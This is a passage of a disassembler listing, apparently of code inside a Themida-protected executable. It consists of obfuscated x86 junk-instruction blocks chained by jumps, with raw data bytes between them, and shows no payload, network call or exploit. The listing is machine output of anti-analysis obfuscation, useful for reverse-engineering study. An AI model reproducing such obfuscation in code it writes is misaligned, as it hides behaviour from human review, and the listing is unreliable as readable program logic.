; ---------------------------------------------------------------------------


loc_54DF56:				; CODE XREF: Themida_:0054F125j
		push	ebp
		mov	ebp, 4
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_54C01D
; ---------------------------------------------------------------------------
		db 51h,	0B1h, 95h
		dd 0C8BCA00h, 4C48124h,	80000000h, 63E9E3C2h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DF83:				; CODE XREF: Themida_:005463F2j
		neg	ch
		neg	ch
		add	ch, 87h
		xor	ah, ch
		jmp	loc_545D76
; ---------------------------------------------------------------------------


loc_54DF91:				; CODE XREF: Themida_:0054E453j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_5440AF
; ---------------------------------------------------------------------------
		dd 59B65253h, 0F65AF788h, 0D126E9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DFAE:				; CODE XREF: Themida_:0054BC0Dj
		add	esp, 4
		push	esi
		mov	esi, ecx
		mov	edx, esi
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		or	edx, 4C0A72FCh
		add	edx, 0A3548103h
		jmp	loc_549FEB
; ---------------------------------------------------------------------------
		db 31h,	0D8h, 81h
		dd 4ECh, 631CE900h, 3C87FFFFh, 24248B24h, 2A2B68h, 241C8900h
		dd 1021E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DFF1:				; CODE XREF: Themida_:0054A627j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	esi
		mov	esi, 3AFC215Eh
		mov	ecx, esi
		pop	esi
		shl	ecx, 2
		shl	ecx, 1
		sub	ecx, 7C83EBD1h
		sub	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_54CB41
; ---------------------------------------------------------------------------


loc_54E016:				; CODE XREF: Themida_:0054BF8Aj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_54BFF4
; ---------------------------------------------------------------------------
aYsh		db 'Yéh',9,0
		db 0
; ---------------------------------------------------------------------------


loc_54E02D:				; CODE XREF: Themida_:0054CC81j
		mov	ebp, 1E2D1F8Dh
		add	ebp, 45F003D0h
		inc	ebp
		jmp	loc_545D14
; ---------------------------------------------------------------------------
		dw 0C483h
		db 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_549D5F
; ---------------------------------------------------------------------------
		dw 0DBF7h
		dd 0EB81DBF7h, 409899B7h, 15BDE31h, 9602E9F3h, 487FFFFh
		dd 89565C24h, 4C681E6h,	81000000h, 4EEh, 24348700h, 243C895Ch
		dd 1BFh, 0FFF92100h, 3C8B2434h,	4C48324h, 8904EC83h, 0E189240Ch
		dd 2A64BE56h, 0E6C115F7h, 0DFCE8108h, 0E9695822h, 49Fh
		dd 56242C8Bh, 2DE9E689h, 29FFFF5Eh, 0C7815BDFh,	7CF6127Bh
		dd 0E95FF929h, 0FFFFEF9Eh
; ---------------------------------------------------------------------------


loc_54E0CC:				; CODE XREF: Themida_:0054BF34j
		push	ecx
		pop	ebx
		mov	ecx, [esp]
		jmp	loc_54413A
; ---------------------------------------------------------------------------
aXa		db 'X€Ã½',0
		db 0D3h
		dd 5ABDEB80h, 1684E9h, 24048F00h, 0FFF5E7E9h, 1BF57FFh
		dd 814A0511h, 1520DBEBh, 81FB290Ah, 1520DBC3h, 0C6815F0Ah
		dd 30927CFDh, 0E950DE29h, 0FFFFE4DAh
; ---------------------------------------------------------------------------


loc_54E110:				; CODE XREF: Themida_:00547E18j
		mov	esp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 118C1D60h
		add	edi, 0A74744Dh
		inc	edi
		shr	edi, 1
		push	edx
		jmp	loc_54CEEA
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 2Ch
		dd 3155BD24h, 0D4E95C7Dh
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E153:				; CODE XREF: Themida_:00548E85j
		add	esp, 4
		and	ecx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	660Ch
		mov	[esp], ebx
		mov	ebx, esp
		push	ecx
		jmp	loc_546CBD
; ---------------------------------------------------------------------------


loc_54E171:				; CODE XREF: Themida_:0054C1C9j
		shl	edx, 5
		shr	edx, 6
		jmp	loc_5458A6
; ---------------------------------------------------------------------------
		dd 0E959CA89h, 0FFFFD398h, 0E924148Bh, 0FFFFDC6Bh
; ---------------------------------------------------------------------------


loc_54E18C:				; CODE XREF: Themida_:00546872j
		push	dword ptr [esp+4]
		jmp	loc_54B65A
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 84h
		dd 5066C328h, 8808B652h, 0C8FE5AF0h, 0FFB5FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E1A9:				; CODE XREF: Themida_:0054E446j
		push	42h
		jmp	loc_54471E
; ---------------------------------------------------------------------------


loc_54E1B3:				; CODE XREF: Themida_:0054AD3Dj
		inc	ebp
		jmp	loc_54D9BB
; ---------------------------------------------------------------------------


loc_54E1B9:				; CODE XREF: Themida_:0054D084j
		pop	eax
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_543A20
; ---------------------------------------------------------------------------
		db 57h
		dd 0AC4C23BFh, 47B95103h, 53183222h, 0B92C06BBh, 0E3814B50h
		dd 2DE92955h, 1BDCE381h, 53E943B1h, 81FFFFE2h, 491313C6h
		dd 0EC835A0Eh, 24048904h, 814D49B8h, 0E543E947h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E202:				; CODE XREF: Themida_:00543F84j
		sub	dword ptr [esp], 24793907h
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_544F0B
; ---------------------------------------------------------------------------
		db 54h
		dd 153FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54E221:				; CODE XREF: Themida_:005465DAj
		mov	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 59FF673Bh
		jmp	loc_54A29C
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 2404815Ch, 4E73380Bh
		dd 0E6242C81h, 0E97B6D59h, 0FFFFE462h
; ---------------------------------------------------------------------------


loc_54E25C:				; CODE XREF: Themida_:0054AC0Ej
		push	edi
		jmp	loc_54D3ED
; ---------------------------------------------------------------------------
		dw 8F66h
		dd 57B6E902h, 48FFFFFh,	57AEE987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E272:				; CODE XREF: Themida_:00547E84j
		mov	ebx, 6CCC544Eh
		and	ebx, 719B7EC6h
		xchg	edi, ebx
		inc	edi
		xchg	edi, ebx
		neg	ebx
		shr	ebx, 7
		jmp	loc_54B39A
; ---------------------------------------------------------------------------
		dd 5B57BF57h, 0DCE93CA6h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E297:				; CODE XREF: Themida_:00544F99j
		shr	eax, 1
		add	eax, 0E40C44A1h
		push	eax
		pop	ebp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		and	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54A601
; ---------------------------------------------------------------------------
		db 81h
		dd 4E4BCAC6h, 0F0315953h, 0FF8503E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E2C5:				; CODE XREF: Themida_:0054A7B1j
		mov	edx, 554A3347h
		xor	edx, 7A904163h
		jmp	loc_54D851
; ---------------------------------------------------------------------------


loc_54E2D5:				; CODE XREF: Themida_:0054A307j
		or	ebp, edx
		pop	edx
		xor	ebp, 0B223D139h
		sub	edx, ebp
		jmp	loc_548EC2
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 14h
		dd 0E926A46Fh, 0FFFF7455h, 89240489h, 4B951E0h,	1000000h
		dd 240C8BC8h, 4C481h, 0E9510000h, 0FFFF8269h
; ---------------------------------------------------------------------------


loc_54E30C:				; CODE XREF: Themida_:0054CD1Fj
		pop	ebx
		jmp	loc_54BBF8
; ---------------------------------------------------------------------------
		dw 4468h
		dd 89000000h, 17B42404h, 0CC95E950h, 0EC83FFFFh, 24348904h
		dd 42474FFh, 24048F5Eh,	6EC7E95Ch, 0E2C1FFFFh, 9BE8E908h
		dd 0C181FFFFh, 4, 0FF7B28E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E349:				; CODE XREF: Themida_:0054E5AEj
		xor	ecx, 21E67E66h
		mov	ebx, ecx
		pop	ecx
		jmp	loc_54A124
; ---------------------------------------------------------------------------
		db 0B3h
		dd 66D82038h, 96A6E95Bh, 248BFFFFh, 48B6624h, 0FA6AE924h
		dd 348BFFFFh, 0A29EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E376:				; CODE XREF: Themida_:0054924Aj
		pop	esp
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	5CF8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_54628E
; ---------------------------------------------------------------------------


loc_54E39E:				; CODE XREF: Themida_:0054D21Dj
		push	74A7h
		mov	[esp], eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, 41DA2023h
		sub	eax, 4DA21BF3h
		sub	eax, 25D840E2h
		add	eax, edi
		add	eax, 25D840E2h
		push	esi
		mov	esi, 0A3C1378h
		jmp	loc_54E913
; ---------------------------------------------------------------------------
		db 50h
		dd 0E588D488h, 0B6525A58h, 0FB6FE9C4h, 8953FFFFh, 4C381E3h
		dd 81000000h, 4C3h, 241C3300h, 0E9241C31h, 0FFFFCA1Bh
		dd 0BB241C89h, 4, 0FF67C9E9h, 81DDF7FFh, 0AB31EFCDh, 83AEE96Bh
		dd 0EA00FFFFh, 5976EA80h, 0E996C280h, 0FFFF5E74h, 8758C101h
		dd 248B240Ch, 8DEB8024h, 0D6E9C328h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E433:				; CODE XREF: Themida_:00547789j
		pop	dx
		sub	bx, ax
		jmp	loc_54A9FE
; ---------------------------------------------------------------------------


loc_54E43D:				; CODE XREF: Themida_:00543EE3j
		xchg	ebp, [esp]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		jmp	loc_54E1A9
; ---------------------------------------------------------------------------


loc_54E44B:				; CODE XREF: Themida_:0054C973j
		add	eax, 4
		add	eax, 4
		jmp	loc_54DF91
; ---------------------------------------------------------------------------
		dd 2474FF55h, 48F5D04h,	0F7665C24h, 186866E1h, 0B317E97Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E46E:				; CODE XREF: Themida_:0054A650j
		sub	edx, 46862DEDh
		inc	edx
		jmp	loc_54FA63
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 4F9A6156h, 0EA81D2F7h, 7398405Dh, 129F281h, 0D72977C4h
		dd 0BA525B5Ah, 735F2A23h, 63A0F281h, 0BB5328B3h, 26A123CDh
		dd 717E9h, 5FFB0100h, 0BD55C301h, 77E1138Bh, 2404FF55h
		dd 0BAE9525Dh, 52FFFFF7h, 8904EC83h, 0EC81240Ch, 4, 0E9243489h
		dd 0FFFFB75Fh, 9215E949h, 5352FFFFh, 0DE88AAB3h, 8BF0305Bh
		dd 7F682414h, 89000045h, 0E189240Ch, 31A8BF57h,	0EF813DC4h
		dd 4DB125DBh, 0BC9F781h, 0BAE9F013h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E507:				; CODE XREF: Themida_:00546FABj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 5CF534F8h
		or	ebp, 621D3CA3h
		xor	ebp, 44762E28h
		sub	ebp, 0EE97F9Eh
		xor	ebp, 3BA59715h
		sub	[edx+38h], ebp
		pop	ebp
		push	6B27h
		mov	[esp], eax
		push	edx
		push	481C7996h
		pop	edx
		neg	edx
		jmp	loc_549F45
; ---------------------------------------------------------------------------
		dd 5AD4C781h, 6DE964FAh, 81FFFFB3h, 7A66DBF6h, 5EF101FFh
		dd 0FFA58EE9h, 2157BFFFh, 4CE90DB9h, 8BFFFF6Ch,	0B1E92424h
		dd 66FFFF54h, 51240C8Bh, 4EC81h, 24890000h, 26685524h
		dd 0E9000026h, 0FFFFCDF3h, 2047FF59h, 0E9206FD1h, 0FFFFF367h
		dd 0E904C483h, 0FFFFFE33h
; ---------------------------------------------------------------------------


loc_54E59C:				; CODE XREF: Themida_:0054A480j
		shl	esi, 1
		sub	esi, 85E2372Fh
		xor	eax, esi
		pop	esi
		push	ebx
		push	ecx
		mov	ecx, 23E67E66h
		jmp	loc_54E349
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8060B450h, 0E528C9C4h, 0B6526658h, 66F530C6h, 0E3CBE95Ah
		dd 0EBC1FFFFh, 7BE95706h, 8BFFFF90h, 0C9092424h, 0FF50840Fh
		dd 0AE68FFFFh, 89000073h, 0BF572424h, 4, 0EAB85052h, 0E97DD074h
		dd 0FFFF91BCh
; ---------------------------------------------------------------------------


loc_54E5F8:				; CODE XREF: Themida_:00545D7Fj
		add	esp, 4
		shl	dl, 5
		inc	dl
		dec	dl
		jmp	loc_54A4C3
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 27EF0F68h, 0FFD541E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E615:				; CODE XREF: Themida_:00544AC9j
		xor	eax, 55933408h
		dec	eax
		jmp	loc_54F05E
; ---------------------------------------------------------------------------


loc_54E620:				; CODE XREF: Themida_:0054E900j
		add	edx, ebp
		mov	ebp, [esp]
		jmp	loc_543B73
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 89243489h, 4C681E6h, 83000000h, 343304C6h, 24343124h
		dd 0FFE750E9h, 805B66FFh, 0C2FE6CEAh, 0E995EA80h, 0FFFF6B89h
		dd 4245C01h, 242C8B5Bh,	0FFADDBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E665:				; CODE XREF: Themida_:005450C5j
		push	ecx
		mov	ecx, 720B7F34h
		or	ebx, ecx
		jmp	loc_548469
; ---------------------------------------------------------------------------
		dw 0D028h
		dd 24148B66h, 81E18951h, 4C1h, 2C18300h, 5C240C87h, 0C004D800h
		dd 83241C8Bh, 0EC8104C4h, 4, 81241489h,	4ECh, 0CC4DE900h
		dd 0E630FFFFh, 35E95866h, 81FFFFB0h, 485047C1h,	81F1012Ch
		dd 485047E9h, 0F9015E2Ch, 54E90103h, 29FFFFDBh,	24148BD3h
		dd 0FFD60BE9h, 4C481FFh, 0F000000h, 1DE9C0B6h, 83000014h
		dd 3E904ECh, 1FFFFBAh, 0EC815DEFh, 4, 68241489h, 2C12h
		dd 0B9240C89h, 609A59C6h, 0FFDEA9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E705:				; CODE XREF: Themida_:0054C234j
		push	2733h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 6B7222FFh
		push	ecx
		mov	ecx, 2BDA121Bh
		shl	ecx, 6
		jmp	loc_54A753
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 88240489h, 8BE588DCh, 0C4832404h, 2434FF04h,	4C4815Bh
		dd 0E9000000h, 0FFFF8FD6h
; ---------------------------------------------------------------------------


loc_54E754:				; CODE XREF: Themida_:00544CA0j
		and	eax, edi
		pop	edi
		jmp	loc_54744A
; ---------------------------------------------------------------------------
		dd 53FFC683h, 102B3BBBh, 71B8503Eh, 0C11F797Bh,	0AC0508E8h
		dd 0E94AD5F9h, 0FFFF8DDFh
; ---------------------------------------------------------------------------


loc_54E778:				; CODE XREF: Themida_:0054EE90j
		add	esp, 4
		sub	edi, 64D320D9h
		sub	edi, 581A6774h
		add	edi, ecx
		push	ebx
		mov	ebx, 581A6774h
		add	edi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 64D320D9h
		add	edi, ebx
		pop	ebx
		push	11B0h
		mov	[esp], ebx
		mov	ebx, 1110DFFh
		add	ebx, 1CDB1042h
		sub	ebx, 0A27EF86Bh
		push	ecx
		jmp	loc_54F793
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C4h
		dd 4, 22Dh, 74FF5000h, 0E9580424h, 0FFFF8C49h, 8904EC83h
		dd 0ECB9240Ch, 57001D54h, 0E67509BFh, 5FF92912h, 0A3E95356h
		dd 5DFFFF73h, 4EC835Bh,	0FF594AE9h, 0B3EE80FFh,	665AF530h
		dd 28D4B652h, 0F2E2E9F5h, 8147FFFFh, 5A249AE7h,	4F78116h
		dd 2D001220h, 0AC96A53h, 5305F801h, 5F0AC96Ah, 0E9240433h
		dd 0FFFF61A4h, 482DD829h, 6823EA37h, 2B6Fh, 0BE243489h
		dd 76D91330h, 1B7F4A05h, 0E2EAE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E84A:				; CODE XREF: Themida_:0054AA50j
		xor	dx, 5191h
		jmp	loc_5467DC
; ---------------------------------------------------------------------------
		dd 4BB53h, 0DF010000h, 2C7815Bh, 87000000h, 248B243Ch
		dd 0AB0F6624h, 0E99C2404h, 0FFFF51ACh, 0BA241489h, 0FA3CEAB1h
		dd 815AD029h, 4ECh, 24048900h, 24048B5Bh, 60F068h, 7077E900h
		dd 58FFFFh, 2434FFC8h, 4C48159h, 0FF000000h, 555B2434h
		dd 0C5815D54h, 4, 4C581h, 2C870000h, 0D6E95C24h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E8BF:				; CODE XREF: Themida_:0054525Bj
		mov	[esp], eax
		mov	eax, 25BC7874h
		sub	edx, eax
		pop	eax
		push	edx
		sub	dword ptr [esp], 3B546EFAh
		pop	ecx
		add	ecx, 3B546EFAh
		pop	edx
		sub	eax, ecx
		pop	ecx
		jmp	loc_5460FA
; ---------------------------------------------------------------------------
		dw 21B2h
		dd 0BFE9D730h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E8EB:				; CODE XREF: Themida_:0054DC8Aj
		dec	edx
		inc	edx
		add	edx, 0FC92032h
		mov	ebp, 410C2BEBh
		xor	ebp, edx
		pop	edx
		mov	edx, 845AB6CFh
		jmp	loc_54E620
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 0EBh
		dd 0FFFF6Ch, 43E953D0h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E913:				; CODE XREF: Themida_:0054E3CAj
		add	esi, 15A249BBh
		and	esi, 49EA1D75h
		neg	esi
		jmp	loc_54CB1F
; ---------------------------------------------------------------------------
a34QP0iy	db '34$\Qµ0ëY',0
		db 0D8h, 5Bh, 80h
		dd 0EAE9C7C3h, 50FFFF52h, 4B8h,	58C18900h, 0FFDABCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E949:				; CODE XREF: Themida_:00544799j
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		add	eax, 4
		add	eax, 4
		jmp	loc_547E77
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 81h
		dd 53179BE6h, 681BE90Ah, 575DFFFFh, 3A7A0CBFh, 40685665h
		dd 5E2BEA41h, 0FFD955E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E98D:				; CODE XREF: Themida_:00549FA7j
		xchg	edi, [esp]
		jmp	loc_54AFAB
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 5
		dd 894B5BDCh, 0C1015EF0h, 8324048Bh, 0A4E904C4h, 64FFFFC9h
		dd 2B60F66h, 35EE6866h,	24048966h, 0FFD7BEE9h, 0B45051FFh
		dd 58E5883Eh, 803FF580h, 90E990F5h, 59FFFFBCh, 0FF5A64E9h
		dd 95E953FFh
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E9DB:				; CODE XREF: Themida_:00549721j
		pop	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 25320CA9h
		xor	ecx, 3C0C7B64h
		jmp	loc_54410A
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 0C7010000h, 5624048Bh, 0C681E689h, 4, 0FFEF7CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EA0D:				; CODE XREF: Themida_:0054D88Fj
		push	ebx
		sub	dword ptr [esp], 16A42CE5h
		pop	edi
		add	edi, 16A42CE5h
		push	edx
		mov	edx, edi
		jmp	loc_54B7AA
; ---------------------------------------------------------------------------


loc_54EA24:				; CODE XREF: Themida_:0054CE47j
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_54FB76
; ---------------------------------------------------------------------------
		db 33h
		dd 0D0E92404h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EA37:				; CODE XREF: Themida_:0054D8D2j
		push	193Dh
		jmp	loc_54A7F3
; ---------------------------------------------------------------------------
		db 56h,	68h, 4
		dd 5E000000h, 685EF701h, 0A79h,	68240489h, 2, 0FFB563E9h
		dd 0EC835CFFh, 24148904h, 42474FFh, 8324148Bh, 48F04C4h
		dd 24248B24h, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFF6F6Ch
		dd 2C3835Fh, 31241C33h,	1C33241Ch, 24248B24h, 240C8B66h
		dd 0E9E08950h, 0FFFFC964h
; ---------------------------------------------------------------------------


loc_54EAA0:				; CODE XREF: Themida_:00549112j
		or	eax, eax
		jz	loc_54FA98
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		push	530Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		push	esi
		mov	esi, 4
		jmp	loc_54686E
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 77h
aFUrqPcs	db '”ÖURQ¹PcS',0
		dw 0E981h
		dd 800DA623h, 5259CA89h, 0CD015A5Dh, 0FF5BBBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EAF9:				; CODE XREF: Themida_:00547B38j
		shl	edx, 1
		push	2A53h
		mov	[esp], esi
		push	100838D3h
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		push	edx
		mov	edx, 100838D2h
		mov	edi, edx
		pop	edx
		jmp	loc_547B67
; ---------------------------------------------------------------------------


loc_54EB20:				; CODE XREF: Themida_:0054D4E1j
		push	2524h
		mov	[esp], ecx
		jmp	loc_5443E8
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5F04h, 88645C24h,	6048E902h, 0C89FFFFh, 0C450E924h
		dd 5966FFFFh, 0E903EAC0h, 0FFFF67C5h, 5C241487h, 50240C89h
		dd 50520EB0h, 0FFB950E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EB61:				; CODE XREF: Themida_:0054BDE0j
		mov	edx, [esp]
		add	esp, 4


loc_54EB67:				; CODE XREF: Themida_:00546AFAj
		push	ebx
		push	ebp
		mov	ebp, 37AE662Bh
		xor	[esp+4], ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	eax
		jmp	loc_5476B0
; ---------------------------------------------------------------------------
		dw 6068h
		dd 89000039h, 18E9240Ch, 9FFFF7Bh, 0C2815FFAh, 0EA09B10Eh
		dd 815AD389h, 5021D9EFh, 923AE919h, 8B66FFFFh, 0EC83240Ch
		dd 24048904h, 0CCE9E089h, 28FFFFB3h, 0E95B66F8h, 0FFFFBC01h
		dd 0E908EBC1h, 0FFFF834Fh, 0FF3877FFh, 0C8B2434h, 0E1895124h
		dd 418E9h, 58C28800h, 0F69FC280h, 80D2F6DAh, 0CAFE16C2h
		dd 0D7F6FA86h, 0F280FA86h, 4A4B6801h, 4890000h,	88D08824h
		dd 805A58C5h, 0C5FEDAE5h, 6604E5C0h, 0E7A0E952h, 0EBC1FFFFh
		dd 85CB8107h, 0E937451Fh, 0FFFFEBA2h, 1EBDC381h, 0C3814523h
		dd 39473AFEh, 0FF71B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EC2D:				; CODE XREF: Themida_:0054D331j
		push	ecx
		mov	ecx, 3AE06803h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_544572
; ---------------------------------------------------------------------------
		db 5Fh
		dd 147A302Dh, 551C052Fh, 0E8016D50h, 50551C2Dh,	7A30056Dh
		dd 33052F14h, 5D284637h, 1D68h,	24148900h, 4A31ABBAh, 98F2810Fh
		dd 52246269h, 5A2414F7h, 7AFBE956h, 5052FFFFh, 0FF587DE9h
		dd 24348BFFh, 0FF6E6BE9h, 0C8B66FFh, 4EC8324h, 0FF8709E9h
		dd 48B04FFh, 0C8B66F4h,	2C48324h, 57CA68h, 7475E900h, 55ACFFFFh
		dd 0C5815D54h, 4, 4ED81h, 0FF550000h, 5D042474h, 5C24048Fh
		dd 0B2241489h, 66DAF61Ch, 0AE33E953h, 2489FFFFh, 24048124h
		dd 4, 4C5815Dh,	83000000h, 2C8704C5h, 0C4835C24h, 80DCE904h
		dd 12DFFFFh, 55000000h,	0AB3E15BDh, 5DE8295Eh, 0D22E9h
		db 0
; ---------------------------------------------------------------------------


loc_54ED01:				; CODE XREF: Themida_:00545D1Cj
		xor	ebp, 3A0294h
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	14C2h
		mov	[esp], edi
		jmp	loc_54BED9
; ---------------------------------------------------------------------------
		db 88h,	0CFh, 0E9h
		dd 26Fh, 63D96866h, 6602EC83h, 0E9242489h, 0FFFF6939h
		dd 852F768h, 52535E54h,	0EE1DE956h, 0E828FFFFh,	36E9h
		dd 6800h, 0C8E90000h
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ED5F:				; CODE XREF: Themida_:0054D3DAj
		add	bl, al
		jmp	loc_54964C
; ---------------------------------------------------------------------------
		dw 0B652h
		dd 5AF188E1h, 6866C9FEh, 89667AB1h, 7EB22414h, 5A66D120h
		dd 0E180C1FEh, 0A7B45099h, 2EE9E130h, 59FFFFB9h, 0FFFB7AE9h
		dd 5FFD29FFh, 875DE901h, 248B240Ch, 81575324h, 44432404h
		dd 815B632Dh, 2D4443EBh, 0E7895763h, 4C781h, 0EF810000h
		dd 4, 5C243C87h, 89240489h, 148B50D8h, 0E6E7E924h, 5652FFFFh
		dd 7D4488BEh, 0C1ECE97Ch, 0C381FFFFh, 429044A8h, 0BD55FB01h
		dd 37B326Eh, 0FFFFB951h, 0C581FFFFh, 447E0421h,	0ED81CD01h
		dd 447E0421h, 0FFFBCEE9h, 0B2F381FFh, 29D51201h, 0C2895BD8h
		dd 0FFD30158h, 815A2434h, 4C4h,	6AE95500h, 8BFFFF90h, 0C4832404h
		dd 8982D04h, 0C7011B09h, 2C78158h, 0E9000000h, 0FFFFB1C6h
; ---------------------------------------------------------------------------


loc_54EE38:				; CODE XREF: Themida_:00546244j
		push	364E2DD2h
		mov	edi, [esp]
		add	esp, 4
		dec	edi
		xchg	edx, edi
		push	edx
		not	dword ptr [esp]
		pop	edx
		xchg	edx, edi
		jmp	loc_54AF21
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 89240C89h, 4C181E1h, 83000000h, 0C3304C1h, 240C3124h
		dd 5C240C33h, 55E18951h, 572D29BDh, 68A3E972h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EE7E:				; CODE XREF: Themida_:005461D3j
		pop	ebp
		jmp	loc_5497C9
; ---------------------------------------------------------------------------


loc_54EE84:				; CODE XREF: Themida_:00543E6Ej
		pop	esp
		push	ebp
		mov	ebp, 7B6D25D6h
		sub	edi, ebp
		mov	ebp, [esp]
		jmp	loc_54E778
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 2
		dd 0FF9EEBE9h, 89575CFFh, 8D84E9E7h, 0D2F6FFFFh, 0E980F280h
		dd 0FFFF8F22h, 0AE9988BAh, 0E9EA2984h, 0FFFF76C9h, 0E949C280h
		dd 0FFFFB2AFh
; ---------------------------------------------------------------------------


loc_54EEC4:				; CODE XREF: Themida_:005461A2j
		mov	[esp], edx
		jmp	loc_5478A9
; ---------------------------------------------------------------------------
		dd 0E10CE950h, 483FFFFh, 8AE90424h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EEDB:				; CODE XREF: Themida_:005458BCj
		pop	ecx
		dec	esi
		push	esi
		inc	dword ptr [esp]
		pop	esi
		jmp	loc_54B383
; ---------------------------------------------------------------------------
		db 89h
		dd 5A542414h, 0FF6A5BE9h, 0DDB252FFh, 148BD388h, 4C48124h
		dd 0F6000000h, 6E3C0D3h, 14096866h, 24048966h, 0EDE90FB0h
		dd 87FFFF5Eh, 815C2414h, 4C4h, 2434FF00h, 0FF5563E9h, 34FF5CFFh
		dd 2434FF24h, 0E924048Bh, 0FFFFA805h, 5166C7FEh, 0CF28B8B1h
		dd 0FFB637E9h, 89515CFFh, 4C181E1h, 0E9000000h,	0FFFFF6BAh
		dd 0E9241C8Bh, 0FFFFB478h, 8473E950h, 0C383FFFFh, 241C8704h
